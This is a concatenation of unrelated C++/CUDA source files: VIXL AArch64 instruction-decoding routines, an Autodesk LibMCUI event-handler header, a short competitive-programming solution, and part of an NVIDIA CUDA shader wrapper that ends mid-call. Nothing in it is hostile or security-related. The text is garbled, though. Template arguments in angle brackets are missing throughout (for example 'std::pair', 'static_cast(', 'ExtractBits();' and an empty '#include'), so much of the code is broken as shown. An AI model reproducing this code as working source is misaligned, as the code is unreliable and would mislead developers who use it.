"sdiv_z_p_zz"_h: case "sdivr_z_p_zz"_h: case "shadd_z_p_zz"_h: case "shsub_z_p_zz"_h: case "shsubr_z_p_zz"_h: case "smax_z_p_zz"_h: case "smin_z_p_zz"_h: case "smulh_z_p_zz"_h: case "sqabs_z_p_z"_h: case "sqadd_z_p_zz"_h: case "sqneg_z_p_z"_h: case "sqrshl_z_p_zz"_h: case "sqrshlr_z_p_zz"_h: case "sqshl_z_p_zz"_h: case "sqshlr_z_p_zz"_h: case "sqsub_z_p_zz"_h: case "sqsubr_z_p_zz"_h: case "srhadd_z_p_zz"_h: case "srshl_z_p_zz"_h: case "srshlr_z_p_zz"_h: case "sub_z_p_zz"_h: case "subr_z_p_zz"_h: case "suqadd_z_p_zz"_h: case "sxtb_z_p_z"_h: case "sxth_z_p_z"_h: case "sxtw_z_p_z"_h: case "uabd_z_p_zz"_h: case "uadalp_z_p_z"_h: case "udiv_z_p_zz"_h: case "udivr_z_p_zz"_h: case "uhadd_z_p_zz"_h: case "uhsub_z_p_zz"_h: case "uhsubr_z_p_zz"_h: case "umax_z_p_zz"_h: case "umin_z_p_zz"_h: case "umulh_z_p_zz"_h: case "uqadd_z_p_zz"_h: case "uqrshl_z_p_zz"_h: case "uqrshlr_z_p_zz"_h: case "uqshl_z_p_zz"_h: case "uqshlr_z_p_zz"_h: case "uqsub_z_p_zz"_h: case "uqsubr_z_p_zz"_h: case "urecpe_z_p_z"_h: case "urhadd_z_p_zz"_h: case "urshl_z_p_zz"_h: case "urshlr_z_p_zz"_h: case "ursqrte_z_p_z"_h: case "usqadd_z_p_zz"_h: case "uxtb_z_p_z"_h: case "uxth_z_p_z"_h: case "uxtw_z_p_z"_h: return (movprfx_is_unpredicated || (pg_matches_low8 && vform_matches)) && zd_isnt_zn && zd_matches; case "cpy_z_p_r"_h: case "fadd_z_p_zs"_h: case "fmax_z_p_zs"_h: case "fmaxnm_z_p_zs"_h: case "fmin_z_p_zs"_h: case "fminnm_z_p_zs"_h: case "fmul_z_p_zs"_h: case "fsub_z_p_zs"_h: case "fsubr_z_p_zs"_h: return (movprfx_is_unpredicated || (pg_matches_low8 && vform_matches)) && zd_matches; default: return false; } } // NOLINT(readability/fn_size) bool Instruction::IsLoad() const { if (Mask(LoadStoreAnyFMask) != LoadStoreAnyFixed) { return false; } if (Mask(LoadStorePairAnyFMask) == LoadStorePairAnyFixed) { return Mask(LoadStorePairLBit) != 0; } else { LoadStoreOp op = static_cast(Mask(LoadStoreMask)); switch (op) { case LDRB_w: case LDRH_w: case LDR_w: case LDR_x: case LDRSB_w: case LDRSB_x: case LDRSH_w: case LDRSH_x: case LDRSW_x: case LDR_b: case LDR_h: case LDR_s: case LDR_d: case LDR_q: return true; default: return false; } } } bool Instruction::IsStore() const { if (Mask(LoadStoreAnyFMask) != LoadStoreAnyFixed) { return false; } if (Mask(LoadStorePairAnyFMask) == LoadStorePairAnyFixed) { return Mask(LoadStorePairLBit) == 0; } else { LoadStoreOp op = static_cast(Mask(LoadStoreMask)); switch (op) { case STRB_w: case STRH_w: case STR_w: case STR_x: case STR_b: case STR_h: case STR_s: case STR_d: case STR_q: return true; default: return false; } } } std::pair Instruction::GetSVEPermuteIndexAndLaneSizeLog2() const { uint32_t imm_2 = ExtractBits<0x00C00000>(); uint32_t tsz_5 = ExtractBits<0x001F0000>(); uint32_t imm_7 = (imm_2 << 5) | tsz_5; int lane_size_in_byte_log_2 = std::min(CountTrailingZeros(tsz_5), 5); int index = ExtractUnsignedBitfield32(6, lane_size_in_byte_log_2 + 1, imm_7); return std::make_pair(index, lane_size_in_byte_log_2); } // Get the register and index for SVE indexed multiplies encoded in the forms: // .h : Zm = <18:16>, index = <22><20:19> // .s : Zm = <18:16>, index = <20:19> // .d : Zm = <19:16>, index = <20> std::pair Instruction::GetSVEMulZmAndIndex() const { int reg_code = GetRmLow16(); int index = ExtractBits(20, 19); // For .h, index uses bit zero of the size field, so kFormatVnB below implies // half-word lane, with most-significant bit of the index zero. switch (GetSVEVectorFormat()) { case kFormatVnD: index >>= 1; // Only bit 20 in the index for D lanes. break; case kFormatVnH: index += 4; // Bit 22 is the top bit of index. VIXL_FALLTHROUGH(); case kFormatVnB: case kFormatVnS: reg_code &= 7; // Three bits used for the register. break; default: VIXL_UNIMPLEMENTED(); break; } return std::make_pair(reg_code, index); } // Get the register and index for SVE indexed long multiplies encoded in the // forms: // .h : Zm = <18:16>, index = <20:19><11> // .s : Zm = <19:16>, index = <20><11> std::pair Instruction::GetSVEMulLongZmAndIndex() const { int reg_code = GetRmLow16(); int index = ExtractBit(11); // For long multiplies, the SVE size field <23:22> encodes the destination // element size. The source element size is half the width. switch (GetSVEVectorFormat()) { case kFormatVnS: reg_code &= 7; index |= ExtractBits(20, 19) << 1; break; case kFormatVnD: index |= ExtractBit(20) << 1; break; default: VIXL_UNIMPLEMENTED(); break; } return std::make_pair(reg_code, index); } // Logical immediates can't encode zero, so a return value of zero is used to // indicate a failure case. Specifically, where the constraints on imm_s are // not met. uint64_t Instruction::GetImmLogical() const { unsigned reg_size = GetSixtyFourBits() ? kXRegSize : kWRegSize; int32_t n = GetBitN(); int32_t imm_s = GetImmSetBits(); int32_t imm_r = GetImmRotate(); return DecodeImmBitMask(n, imm_s, imm_r, reg_size); } // Logical immediates can't encode zero, so a return value of zero is used to // indicate a failure case. Specifically, where the constraints on imm_s are // not met. uint64_t Instruction::GetSVEImmLogical() const { int n = GetSVEBitN(); int imm_s = GetSVEImmSetBits(); int imm_r = GetSVEImmRotate(); int lane_size_in_bytes_log2 = GetSVEBitwiseImmLaneSizeInBytesLog2(); switch (lane_size_in_bytes_log2) { case kDRegSizeInBytesLog2: case kSRegSizeInBytesLog2: case kHRegSizeInBytesLog2: case kBRegSizeInBytesLog2: { int lane_size_in_bits = 1 << (lane_size_in_bytes_log2 + 3); return DecodeImmBitMask(n, imm_s, imm_r, lane_size_in_bits); } default: return 0; } } std::pair Instruction::GetSVEImmShiftAndLaneSizeLog2( bool is_predicated) const { Instr tsize = is_predicated ? ExtractBits<0x00C00300>() : ExtractBits<0x00D80000>(); Instr imm_3 = is_predicated ? ExtractBits<0x000000E0>() : ExtractBits<0x00070000>(); if (tsize == 0) { // The bit field `tsize` means undefined if it is zero, so return a // convenience value kWMinInt to indicate a failure case. return std::make_pair(kWMinInt, kWMinInt); } int lane_size_in_bytes_log_2 = 32 - CountLeadingZeros(tsize, 32) - 1; int esize = (1 << lane_size_in_bytes_log_2) * kBitsPerByte; int shift = (2 * esize) - ((tsize << 3) | imm_3); return std::make_pair(shift, lane_size_in_bytes_log_2); } int Instruction::GetSVEMsizeFromDtype(bool is_signed, int dtype_h_lsb) const { Instr dtype_h = ExtractBits(dtype_h_lsb + 1, dtype_h_lsb); if (is_signed) { dtype_h = dtype_h ^ 0x3; } return dtype_h; } int Instruction::GetSVEEsizeFromDtype(bool is_signed, int dtype_l_lsb) const { Instr dtype_l = ExtractBits(dtype_l_lsb + 1, dtype_l_lsb); if (is_signed) { dtype_l = dtype_l ^ 0x3; } return dtype_l; } int Instruction::GetSVEBitwiseImmLaneSizeInBytesLog2() const { int n = GetSVEBitN(); int imm_s = GetSVEImmSetBits(); unsigned type_bitset = (n << SVEImmSetBits_width) | (~imm_s & GetUintMask(SVEImmSetBits_width)); // An lane size is constructed from the n and imm_s bits according to // the following table: // // N imms size // 0 0xxxxx 32 // 0 10xxxx 16 // 0 110xxx 8 // 0 1110xx 8 // 0 11110x 8 // 1 xxxxxx 64 if (type_bitset == 0) { // Bail out early since `HighestSetBitPosition` doesn't accept zero // value input. return -1; } switch (HighestSetBitPosition(type_bitset)) { case 6: return kDRegSizeInBytesLog2; case 5: return kSRegSizeInBytesLog2; case 4: return kHRegSizeInBytesLog2; case 3: case 2: case 1: return kBRegSizeInBytesLog2; default: // RESERVED encoding. return -1; } } int Instruction::GetSVEExtractImmediate() const { const int imm8h_mask = 0x001F0000; const int imm8l_mask = 0x00001C00; return ExtractBits(); } uint64_t Instruction::DecodeImmBitMask(int32_t n, int32_t imm_s, int32_t imm_r, int32_t size) const { // An integer is constructed from the n, imm_s and imm_r bits according to // the following table: // // N imms immr size S R // 1 ssssss rrrrrr 64 UInt(ssssss) UInt(rrrrrr) // 0 0sssss xrrrrr 32 UInt(sssss) UInt(rrrrr) // 0 10ssss xxrrrr 16 UInt(ssss) UInt(rrrr) // 0 110sss xxxrrr 8 UInt(sss) UInt(rrr) // 0 1110ss xxxxrr 4 UInt(ss) UInt(rr) // 0 11110s xxxxxr 2 UInt(s) UInt(r) // (s bits must not be all set) // // A pattern is constructed of size bits, where the least significant S+1 // bits are set. The pattern is rotated right by R, and repeated across a // 32 or 64-bit value, depending on destination register width. // if (n == 1) { if (imm_s == 0x3f) { return 0; } uint64_t bits = (UINT64_C(1) << (imm_s + 1)) - 1; return RotateRight(bits, imm_r, 64); } else { if ((imm_s >> 1) == 0x1f) { return 0; } for (int width = 0x20; width >= 0x2; width >>= 1) { if ((imm_s & width) == 0) { int mask = width - 1; if ((imm_s & mask) == mask) { return 0; } uint64_t bits = (UINT64_C(1) << ((imm_s & mask) + 1)) - 1; return RepeatBitsAcrossReg(size, RotateRight(bits, imm_r & mask, width), width); } } } VIXL_UNREACHABLE(); return 0; } uint32_t Instruction::GetImmNEONabcdefgh() const { return GetImmNEONabc() << 5 | GetImmNEONdefgh(); } Float16 Instruction::Imm8ToFloat16(uint32_t imm8) { // Imm8: abcdefgh (8 bits) // Half: aBbb.cdef.gh00.0000 (16 bits) // where B is b ^ 1 uint32_t bits = imm8; uint16_t bit7 = (bits >> 7) & 0x1; uint16_t bit6 = (bits >> 6) & 0x1; uint16_t bit5_to_0 = bits & 0x3f; uint16_t result = (bit7 << 15) | ((4 - bit6) << 12) | (bit5_to_0 << 6); return RawbitsToFloat16(result); } float Instruction::Imm8ToFP32(uint32_t imm8) { // Imm8: abcdefgh (8 bits) // Single: aBbb.bbbc.defg.h000.0000.0000.0000.0000 (32 bits) // where B is b ^ 1 uint32_t bits = imm8; uint32_t bit7 = (bits >> 7) & 0x1; uint32_t bit6 = (bits >> 6) & 0x1; uint32_t bit5_to_0 = bits & 0x3f; uint32_t result = (bit7 << 31) | ((32 - bit6) << 25) | (bit5_to_0 << 19); return RawbitsToFloat(result); } Float16 Instruction::GetImmFP16() const { return Imm8ToFloat16(GetImmFP()); } float Instruction::GetImmFP32() const { return Imm8ToFP32(GetImmFP()); } double Instruction::Imm8ToFP64(uint32_t imm8) { // Imm8: abcdefgh (8 bits) // Double: aBbb.bbbb.bbcd.efgh.0000.0000.0000.0000 // 0000.0000.0000.0000.0000.0000.0000.0000 (64 bits) // where B is b ^ 1 uint32_t bits = imm8; uint64_t bit7 = (bits >> 7) & 0x1; uint64_t bit6 = (bits >> 6) & 0x1; uint64_t bit5_to_0 = bits & 0x3f; uint64_t result = (bit7 << 63) | ((256 - bit6) << 54) | (bit5_to_0 << 48); return RawbitsToDouble(result); } double Instruction::GetImmFP64() const { return Imm8ToFP64(GetImmFP()); } Float16 Instruction::GetImmNEONFP16() const { return Imm8ToFloat16(GetImmNEONabcdefgh()); } float Instruction::GetImmNEONFP32() const { return Imm8ToFP32(GetImmNEONabcdefgh()); } double Instruction::GetImmNEONFP64() const { return Imm8ToFP64(GetImmNEONabcdefgh()); } unsigned CalcLSDataSize(LoadStoreOp op) { VIXL_ASSERT((LSSize_offset + LSSize_width) == (kInstructionSize * 8)); unsigned size = static_cast(op) >> LSSize_offset; if ((op & LSVector_mask) != 0) { // Vector register memory operations encode the access size in the "size" // and "opc" fields. if ((size == 0) && ((op & LSOpc_mask) >> LSOpc_offset) >= 2) { size = kQRegSizeInBytesLog2; } } return size; } unsigned CalcLSPairDataSize(LoadStorePairOp op) { VIXL_STATIC_ASSERT(kXRegSizeInBytes == kDRegSizeInBytes); VIXL_STATIC_ASSERT(kWRegSizeInBytes == kSRegSizeInBytes); switch (op) { case STP_q: case LDP_q: return kQRegSizeInBytesLog2; case STP_x: case LDP_x: case STP_d: case LDP_d: return kXRegSizeInBytesLog2; default: return kWRegSizeInBytesLog2; } } int Instruction::GetImmBranchRangeBitwidth(ImmBranchType branch_type) { switch (branch_type) { case UncondBranchType: return ImmUncondBranch_width; case CondBranchType: return ImmCondBranch_width; case CompareBranchType: return ImmCmpBranch_width; case TestBranchType: return ImmTestBranch_width; default: VIXL_UNREACHABLE(); return 0; } } int32_t Instruction::GetImmBranchForwardRange(ImmBranchType branch_type) { int32_t encoded_max = 1 << (GetImmBranchRangeBitwidth(branch_type) - 1); return encoded_max * kInstructionSize; } bool Instruction::IsValidImmPCOffset(ImmBranchType branch_type, int64_t offset) { return IsIntN(GetImmBranchRangeBitwidth(branch_type), offset); } const Instruction* Instruction::GetImmPCOffsetTarget() const { const Instruction* base = this; ptrdiff_t offset; if (IsPCRelAddressing()) { // ADR and ADRP. offset = GetImmPCRel(); if (Mask(PCRelAddressingMask) == ADRP) { base = AlignDown(base, kPageSize); offset *= kPageSize; } else { VIXL_ASSERT(Mask(PCRelAddressingMask) == ADR); } } else { // All PC-relative branches. VIXL_ASSERT(GetBranchType() != UnknownBranchType); // Relative branch offsets are instruction-size-aligned. offset = GetImmBranch() * static_cast(kInstructionSize); } return base + offset; } int Instruction::GetImmBranch() const { switch (GetBranchType()) { case CondBranchType: return GetImmCondBranch(); case UncondBranchType: return GetImmUncondBranch(); case CompareBranchType: return GetImmCmpBranch(); case TestBranchType: return GetImmTestBranch(); default: VIXL_UNREACHABLE(); } return 0; } void Instruction::SetImmPCOffsetTarget(const Instruction* target) { if (IsPCRelAddressing()) { SetPCRelImmTarget(target); } else { SetBranchImmTarget(target); } } void Instruction::SetPCRelImmTarget(const Instruction* target) { ptrdiff_t imm21; if ((Mask(PCRelAddressingMask) == ADR)) { imm21 = target - this; } else { VIXL_ASSERT(Mask(PCRelAddressingMask) == ADRP); uintptr_t this_page = reinterpret_cast(this) / kPageSize; uintptr_t target_page = reinterpret_cast(target) / kPageSize; imm21 = target_page - this_page; } Instr imm = Assembler::ImmPCRelAddress(static_cast(imm21)); SetInstructionBits(Mask(~ImmPCRel_mask) | imm); } void Instruction::SetBranchImmTarget(const Instruction* target) { VIXL_ASSERT(((target - this) & 3) == 0); Instr branch_imm = 0; uint32_t imm_mask = 0; int offset = static_cast((target - this) >> kInstructionSizeLog2); switch (GetBranchType()) { case CondBranchType: { branch_imm = Assembler::ImmCondBranch(offset); imm_mask = ImmCondBranch_mask; break; } case UncondBranchType: { branch_imm = Assembler::ImmUncondBranch(offset); imm_mask = ImmUncondBranch_mask; break; } case CompareBranchType: { branch_imm = Assembler::ImmCmpBranch(offset); imm_mask = ImmCmpBranch_mask; break; } case TestBranchType: { branch_imm = Assembler::ImmTestBranch(offset); imm_mask = ImmTestBranch_mask; break; } default: VIXL_UNREACHABLE(); } SetInstructionBits(Mask(~imm_mask) | branch_imm); } void Instruction::SetImmLLiteral(const Instruction* source) { VIXL_ASSERT(IsWordAligned(source)); ptrdiff_t offset = (source - this) >> kLiteralEntrySizeLog2; Instr imm = Assembler::ImmLLiteral(static_cast(offset)); Instr mask = ImmLLiteral_mask; SetInstructionBits(Mask(~mask) | imm); } VectorFormat VectorFormatHalfWidth(VectorFormat vform) { switch (vform) { case kFormat8H: return kFormat8B; case kFormat4S: return kFormat4H; case kFormat2D: return kFormat2S; case kFormatH: return kFormatB; case kFormatS: return kFormatH; case kFormatD: return kFormatS; case kFormatVnH: return kFormatVnB; case kFormatVnS: return kFormatVnH; case kFormatVnD: return kFormatVnS; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat VectorFormatDoubleWidth(VectorFormat vform) { switch (vform) { case kFormat8B: return kFormat8H; case kFormat4H: return kFormat4S; case kFormat2S: return kFormat2D; case kFormatB: return kFormatH; case kFormatH: return kFormatS; case kFormatS: return kFormatD; case kFormatVnB: return kFormatVnH; case kFormatVnH: return kFormatVnS; case kFormatVnS: return kFormatVnD; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat VectorFormatFillQ(VectorFormat vform) { switch (vform) { case kFormatB: case kFormat8B: case kFormat16B: return kFormat16B; case kFormatH: case kFormat4H: case kFormat8H: return kFormat8H; case kFormatS: case kFormat2S: case kFormat4S: return kFormat4S; case kFormatD: case kFormat1D: case kFormat2D: return kFormat2D; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat VectorFormatHalfWidthDoubleLanes(VectorFormat vform) { switch (vform) { case kFormat4H: return kFormat8B; case kFormat8H: return kFormat16B; case kFormat2S: return kFormat4H; case kFormat4S: return kFormat8H; case kFormat1D: return kFormat2S; case kFormat2D: return kFormat4S; case kFormatVnH: return kFormatVnB; case kFormatVnS: return kFormatVnH; case kFormatVnD: return kFormatVnS; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat VectorFormatDoubleLanes(VectorFormat vform) { VIXL_ASSERT(vform == kFormat8B || vform == kFormat4H || vform == kFormat2S); switch (vform) { case kFormat8B: return kFormat16B; case kFormat4H: return kFormat8H; case kFormat2S: return kFormat4S; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat VectorFormatHalfLanes(VectorFormat vform) { VIXL_ASSERT(vform == kFormat16B || vform == kFormat8H || vform == kFormat4S); switch (vform) { case kFormat16B: return kFormat8B; case kFormat8H: return kFormat4H; case kFormat4S: return kFormat2S; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat ScalarFormatFromLaneSize(int lane_size_in_bits) { switch (lane_size_in_bits) { case 8: return kFormatB; case 16: return kFormatH; case 32: return kFormatS; case 64: return kFormatD; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } bool IsSVEFormat(VectorFormat vform) { switch (vform) { case kFormatVnB: case kFormatVnH: case kFormatVnS: case kFormatVnD: case kFormatVnQ: case kFormatVnO: return true; default: return false; } } VectorFormat SVEFormatFromLaneSizeInBytes(int lane_size_in_bytes) { switch (lane_size_in_bytes) { case 1: return kFormatVnB; case 2: return kFormatVnH; case 4: return kFormatVnS; case 8: return kFormatVnD; case 16: return kFormatVnQ; default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat SVEFormatFromLaneSizeInBits(int lane_size_in_bits) { switch (lane_size_in_bits) { case 8: case 16: case 32: case 64: case 128: return SVEFormatFromLaneSizeInBytes(lane_size_in_bits / kBitsPerByte); default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat SVEFormatFromLaneSizeInBytesLog2(int lane_size_in_bytes_log2) { switch (lane_size_in_bytes_log2) { case 0: case 1: case 2: case 3: case 4: return SVEFormatFromLaneSizeInBytes(1 << lane_size_in_bytes_log2); default: VIXL_UNREACHABLE(); return kFormatUndefined; } } VectorFormat ScalarFormatFromFormat(VectorFormat vform) { return ScalarFormatFromLaneSize(LaneSizeInBitsFromFormat(vform)); } unsigned RegisterSizeInBitsFromFormat(VectorFormat vform) { VIXL_ASSERT(vform != kFormatUndefined); VIXL_ASSERT(!IsSVEFormat(vform)); switch (vform) { case kFormatB: return kBRegSize; case kFormatH: return kHRegSize; case kFormatS: case kFormat2H: return kSRegSize; case kFormatD: case kFormat8B: case kFormat4H: case kFormat2S: case kFormat1D: return kDRegSize; case kFormat16B: case kFormat8H: case kFormat4S: case kFormat2D: return kQRegSize; default: VIXL_UNREACHABLE(); return 0; } } unsigned RegisterSizeInBytesFromFormat(VectorFormat vform) { return RegisterSizeInBitsFromFormat(vform) / 8; } unsigned LaneSizeInBitsFromFormat(VectorFormat vform) { VIXL_ASSERT(vform != kFormatUndefined); switch (vform) { case kFormatB: case kFormat8B: case kFormat16B: case kFormatVnB: return 8; case kFormatH: case kFormat2H: case kFormat4H: case kFormat8H: case kFormatVnH: return 16; case kFormatS: case kFormat2S: case kFormat4S: case kFormatVnS: return 32; case kFormatD: case kFormat1D: case kFormat2D: case kFormatVnD: return 64; case kFormatVnQ: return 128; case kFormatVnO: return 256; default: VIXL_UNREACHABLE(); return 0; } } int LaneSizeInBytesFromFormat(VectorFormat vform) { return LaneSizeInBitsFromFormat(vform) / 8; } int LaneSizeInBytesLog2FromFormat(VectorFormat vform) { VIXL_ASSERT(vform != kFormatUndefined); switch (vform) { case kFormatB: case kFormat8B: case kFormat16B: case kFormatVnB: return 0; case kFormatH: case kFormat2H: case kFormat4H: case kFormat8H: case kFormatVnH: return 1; case kFormatS: case kFormat2S: case kFormat4S: case kFormatVnS: return 2; case kFormatD: case kFormat1D: case kFormat2D: case kFormatVnD: return 3; case kFormatVnQ: return 4; default: VIXL_UNREACHABLE(); return 0; } } int LaneCountFromFormat(VectorFormat vform) { VIXL_ASSERT(vform != kFormatUndefined); switch (vform) { case kFormat16B: return 16; case kFormat8B: case kFormat8H: return 8; case kFormat4H: case kFormat4S: return 4; case kFormat2H: case kFormat2S: case kFormat2D: return 2; case kFormat1D: case kFormatB: case kFormatH: case kFormatS: case kFormatD: return 1; default: VIXL_UNREACHABLE(); return 0; } } int MaxLaneCountFromFormat(VectorFormat vform) { VIXL_ASSERT(vform != kFormatUndefined); switch (vform) { case kFormatB: case kFormat8B: case kFormat16B: return 16; case kFormatH: case kFormat4H: case kFormat8H: return 8; case kFormatS: case kFormat2S: case kFormat4S: return 4; case kFormatD: case kFormat1D: case kFormat2D: return 2; default: VIXL_UNREACHABLE(); return 0; } } // Does 'vform' indicate a vector format or a scalar format? bool IsVectorFormat(VectorFormat vform) { VIXL_ASSERT(vform != kFormatUndefined); switch (vform) { case kFormatB: case kFormatH: case kFormatS: case kFormatD: return false; default: return true; } } int64_t MaxIntFromFormat(VectorFormat vform) { int lane_size = LaneSizeInBitsFromFormat(vform); return static_cast(GetUintMask(lane_size) >> 1); } int64_t MinIntFromFormat(VectorFormat vform) { return -MaxIntFromFormat(vform) - 1; } uint64_t MaxUintFromFormat(VectorFormat vform) { return GetUintMask(LaneSizeInBitsFromFormat(vform)); } } // namespace aarch64 } // namespace vixl Framework/PluginCpp/libmcui_eventhandler.hpp /*++ Copyright (C) 2020 Autodesk Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the Autodesk Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL AUTODESK INC. BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Abstract: This is the class declaration of CEventHandler */ #ifndef __LIBMCUI_EVENTHANDLER #define __LIBMCUI_EVENTHANDLER #include "libmcui_interfaces.hpp" // Parent classes #include "libmcui_base.hpp" #ifdef _MSC_VER #pragma warning(push) #pragma warning(disable : 4250) #endif // Include custom headers here. namespace LibMCUI { namespace Impl { /************************************************************************************************************************* Class declaration of CEventHandler **************************************************************************************************************************/ /************************************************************************************************************************* Event creation template **************************************************************************************************************************/ template bool createEventInstanceByName(const std::string& sEventName, IEvent*& pEventInstance) { if (sEventName == EventClass::getEventName()) { pEventInstance = new EventClass(); return true; } return false; } class CEventHandler : public virtual IEventHandler, public virtual CBase { IEvent* CreateEvent(const std::string& sEventName, LibMCEnv::PUIEnvironment pUIEnvironment) override; }; } // namespace Impl } // namespace LibMCUI #ifdef _MSC_VER #pragma warning(pop) #endif #endif // __LIBMCUI_EVENTHANDLER 1-10 #include using namespace std; #define ll long long int #define scan(any) \ for (auto &i : any) cin >> i; #define print(any) \ for (auto i : any) cout << i << " "; #define endl '\n' #define pb push_back #define vll vector #define vvll vector #define f(i, x, y) for (i = x; i < y; i++) #define INF LLONG_MAX #define s(x) sort(x.begin(), x.end()) #define all(v) v.begin(), v.end() #define p2(n, x) cout << fixed << setprecision(x) << n << endl; #define pll pair #define mll map #define ff first #define ss second #define blt(x) __builtin_popcount(x) #define pi 2 * asin(1.0) void solve() { ll i, j, k, n; cin >> n; vector v(n); scan(v); map m1, m2; f(i, 0, n) { if (i % 2) { m1[v[i]]++; } else { m2[v[i]]++; } } sort(v.begin(), v.end()); f(i, 0, n) { if (i % 2) { if (m1[v[i]] <= 0) { cout << "NO\n"; return; } m1[v[i]]--; } else { if (m2[v[i]] <= 0) { cout << "NO\n"; return; } m2[v[i]]--; } } cout << "YES\n"; } int main() { // #ifndef ONLINE_JUDGE // freopen("E:/Programming/input.txt", "r", stdin); // freopen("E:/Programming/output.txt", "w", stdout); // #endif ios::sync_with_stdio(0); cin.tie(0); ll t = 1; cin >> t; while (t--) { solve(); } return 0; }/* * Copyright (c) 2009-2011, NVIDIA Corporation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of NVIDIA Corporation nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ //------------------------------------------------------------------------ // Shader wrappers. //------------------------------------------------------------------------ template __device__ __inline__ void computeBarys( Vec3f& bary, Vec3f& baryDX, Vec3f& baryDY, const Vec3i& wpleq, const Vec3i& upleq, const Vec3i& vpleq, int sampleX, int sampleY) { F32 w = 1.0f / (F32)(wpleq.x * sampleX + wpleq.y * sampleY + wpleq.z); F32 u = w * (F32)(upleq.x * sampleX + upleq.y * sampleY + upleq.z); F32 v = w * (F32)(vpleq.x * sampleX + vpleq.y * sampleY + vpleq.z); bary = Vec3f(1.0f - u - v, u, v); F32 wd = w * (F32)(1 << (SamplesLog2 + 1)); F32 udx = wd * ((F32)upleq.x - u * (F32)wpleq.x); F32 udy = wd * ((F32)upleq.y - u * (F32)wpleq.y); F32 vdx = wd * ((F32)vpleq.x - v * (F32)wpleq.x); F32 vdy = wd * ((F32)vpleq.y - v * (F32)wpleq.y); baryDX = Vec3f(-udx - vdx, udx, vdx); baryDY = Vec3f(-udy - vdy, udy, vdy); } //------------------------------------------------------------------------ template __device__ __inline__ void runFragmentShader( FragmentShaderClass& fs, int triIdx, int dataIdx, int pixelX, int pixelY, U32 centroid, volatile U32* shared) { // Initialize. uint4 t3 = tex1Dfetch(t_triData, dataIdx * 4 + 3); // vb, vi0, vi1, vi2 fs.m_triIdx = triIdx; fs.m_vertIdx = Vec3i(t3.y, t3.z, t3.w); fs.m_pixelPos = Vec2i(pixelX, pixelY); fs.m_vertexBytes = sizeof(VertexClass); fs.m_shared = (volatile F32*)shared; fs.m_color = 0xFF0000FF; fs.m_discard = false; // Interpolation disabled => sample varyings at the last vertex. if ((RenderModeFlags & RenderModeFlag_EnableLerp) == 0) { fs.m_center = Vec3f(0.0f, 0.0f, 1.0f); fs.m_centerDX = 0.0f; fs.m_centerDY = 0.0f; fs.m_centroid = Vec3f(0.0f, 0.0f, 1.0f); fs.m_centroidDX = 0.0f; fs.m_centroidDY = 0.0f; } // Interpolation enabled => compute barys. else { // Fetch pleqs. uint4 t1 = tex1Dfetch(t_triData, dataIdx * 4 + 1); // wx, wy, wb, ux uint4 t2 = tex1Dfetch(t_triData, dataIdx * 4 + 2); // uy, ub, vx, vy Vec3i wpleq(t1.x, t1.y, t1.z); Vec3i upleq(t1.w, t2.x, t2.y); Vec3i vpleq(t2.z, t2.w, t3.x); // Compute barys for pixel center. computeBarys( fs.m_center, fs.m_centerDX, fs.m_centerDY, wpleq, upleq, vpleq, (pixelX * 2 + 1) << SamplesLog2, (pixelY * 2 + 1) << SamplesLog2); // Compute barys for triangle centroid. if (SamplesLog2 == 0) { fs.m_centroid = fs.m_center; fs.m_centroidDX = fs.m_centerDX; fs.m_centroidDY = fs.m_centerDY; } else { computeBarys( fs.m_centroid, fs.m_centroidDX, fs.m_centroidDY, wpleq, upleq, vpleq, 